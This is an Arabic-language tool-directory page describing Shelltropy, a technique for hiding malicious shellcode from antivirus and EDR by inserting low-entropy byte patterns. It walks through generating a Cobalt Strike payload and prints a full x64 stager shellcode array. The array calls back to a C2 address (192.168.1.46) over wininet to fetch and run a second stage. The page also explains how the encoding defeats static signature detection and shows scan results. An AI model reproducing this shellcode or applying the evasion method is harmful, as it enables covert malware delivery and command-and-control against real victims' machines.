Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Shelltropy — أسلوب لإخفاء الشيلكود الخبيث عبر تشفير شانون. | Kitploit
أدوات/GitHubGitHub/kleiton0x00/shelltropy
الاستغلالشيل كودتحليل البرمجيات الخبيثةتطوير الحمولات
GitHubkleiton0x00/shelltropy

Shelltropy

أسلوب لإخفاء الشيلكود الخبيث عبر تشفير شانون.

عرض المستودعالموقع الإلكتروني
27034منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Shelltropy

كلما كنت أكثر قابلية للتنبؤ، كلما قلت احتمالية اكتشافك

تقنية لإخفاء الشيلكود الخبيث بناءً على الإنتروبيا المنخفضة عبر ترميز شانون.

الإنتروبيا هي قياس العشوائية في مجموعة من البيانات (هنا: الشيلكود). كلما زادت الإنتروبيا، كلما كانت البيانات أكثر عشوائية. إنتروبيا شانون هي خوارزمية تنتج نتيجة بين 0 و8، حيث 8 تعني عدم وجود نمط في البيانات، وبالتالي فهي عشوائية جدًا، و0 تعني أن البيانات تتبع نمطًا.

ملاحظة: اطلع على مقالتي في المدونة للحصول على شرح أكثر تفصيلاً لبحثي، بالإضافة إلى نموذج إثبات مفهوم بسيط لحقن الشيلكود (Vanilla Shellcode Injection PoC).

الإعداد

استنساخ هذا المستودع:
git clone https://github.com/kleiton0x00/Shelltropy.git

للمشفر:
أنشئ مشروع Visual Studio جديد واستورد كلاً من Entropy.h و shannonEncode.cpp ثم قم ببنائه ببساطة.

لنموذج إثبات مفهوم حقن الشيلكود (مع استدعاءات النظام Syscalls):
افتح ملف مشروع Visual Studio الموجود في /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj ثم قم ببنائه ببساطة.
ملاحظة: إذا كنت تريد نموذج إثبات مفهوم بسيط لحقن الشيلكود باستخدام WinAPI، اطلع على مدونتي

لفك التشفير (اختياري لأنه مضمن في نموذج إثبات مفهوم حقن الشيلكود):
أنشئ مشروع Visual Studio جديد واستورد shannonDecode.cpp ثم قم ببنائه ببساطة.

كيفية الاستخدام

  • أطلق Cobalt Strike وأنشئ ملف Windows Executable (بدون مراحل أو مع مراحل، حسب رغبتك). تأكد من أن الإخراج هو Raw واحفظه باسم payload.bin
    generateCSShellcode
  • نفّذ shellcodeFormatter.py وانسخ الإخراج
root@kitploit:~
$ python3 shellcodeFormatter.py 
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};
  • استبدل الشيلكود في shannonEncoder.cpp (السطر 10) بالشيلكود الذي أنشأته من ملف البايثون.
  • يمكنك استخدام الشيلكود منخفض الإنتروبيا المُنشأ في مشروع Visual Studio /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj

كيف يعمل نموذج إثبات المفهوم

المفهوم هو تقسيم المصفوفة إلى أجزاء وإدراج نمط من البايتات منخفض الإنتروبيا بين كل جزء. عند تشغيل العينة، يجب إعادة بناء الحمولة الأصلية في الذاكرة، متجاوزًا الكشف الثابت للكود عالي الإنتروبيا في هذه المرحلة. من الجدير بالذكر أيضًا أن الكود منخفض الإنتروبيا الذي سيتم إدراجه يمكن أن يتبع أنماطًا متنوعة، ويمكن أن يختلف عدد الإدراجات، وبالتالي يمكن استخدامه للتحايل على كشف التوقيع الثابت. الخطوة الثانية هي دمج أجزاء البايتات عالية الإنتروبيا مع الأجزاء منخفضة الإنتروبيا. لأنه، بعد كل شيء، نحتاج إلى استعادة الكود المبهم إلى ما كان عليه في البداية للمتابعة إلى خطوة إزالة الإبهام، فالمهمة الثالثة ستستعيد المصفوفة الأصلية من البايتات عن طريق حذف الأنماط منخفضة الإنتروبيا.

poc_logic_flow

عرض توضيحي

vs_build

نتائج الإنتروبيا

ملاحظة: النتائج التالية تم اختبارها فقط مع شيلكود CS.

~ شيلكود Cobalt Strike الافتراضي الخام
(عالية الإنتروبيا) عادي: 7.062950
(منخفضة الإنتروبيا) مشفر: 4.527140

~ شيلكود Cobalt Strike المشفر بـ XOR
(عالية الإنتروبيا) عادي: 4.583139
(منخفضة الإنتروبيا) مشفر: 3.278284

نتائج فحص AV/EDR

عالية الإنتروبيا (الجانب الأيسر) مقابل منخفضة الإنتروبيا (الجانب الأيمن) – شيلكود CS الافتراضي المدمج مع استدعاءات النظام (Syswhispers2):
results-side-by-side

العيب

أثناء التشفير، سيكون حجم الشيلكود أكبر بمقدار مرتين، مما يسهل على فريق الدفاع / تحليل البرامج الضارة اكتشاف مثل هذه الشيلكودات المشفرة.

الاعتمادات

تم نسخ قالب حقن الشيلكود (باستخدام Syscalls2) من هذا المشروع: https://github.com/m0rv4i/SyscallsExample

تنزيل الأداة